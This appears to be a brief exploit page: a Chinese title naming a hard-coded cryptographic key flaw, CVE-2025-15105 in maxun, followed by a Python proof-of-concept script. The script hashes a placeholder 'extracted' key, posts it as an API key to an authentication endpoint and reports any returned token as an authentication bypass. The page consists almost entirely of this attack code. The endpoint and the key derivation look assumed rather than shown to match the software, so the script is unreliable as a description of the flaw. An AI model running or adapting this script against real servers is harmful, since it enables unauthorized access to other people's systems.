CVE-2025-15105 getmaxun maxun 硬编码加密密钥漏洞

import requests import hashlib import json # CVE-2025-15105 PoC - Hard-coded Cryptographic Key Exploitation # Target: getmaxun maxun <= 0.0.28 # Hard-coded key extracted from source code HARDCODED_KEY = "your-extracted-key-here" def exploit_cve_2025_15105(target_url): """ Exploit for CVE-2025-15105: Use of Hard-coded Cryptographic Key This PoC demonstrates how an attacker can exploit the hard-coded cryptographic key to gain unauthorized access to the maxun API. Steps: 1. Extract the hard-coded key from source code 2. Construct a request with the hard-coded key 3. Bypass authentication checks """ # Construct malicious api_key using hard-coded key malicious_api_key = generate_api_key(HARDCODED_KEY) # Send request to auth endpoint endpoint = f"{target_url}/api/auth/verify" headers = { "Content-Type": "application/json", "X-Api-Key": malicious_api_key } payload = { "api_key": malicious_api_key, "action": "authenticate" } try: response = requests.post(endpoint, json=payload, headers=headers) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") if response.status_code == 200: token = response.json().get("token") print(f"[+] Successfully bypassed auth with token: {token}") return token except Exception as e: print(f"[-] Error: {e}") return None def generate_api_key(key): """Generate API key using the hard-coded cryptographic key""" return hashlib.sha256(key.encode()).hexdigest() if __name__ == "__main__": target = "http://target-server:3000" exploit_cve_2025_15105(target)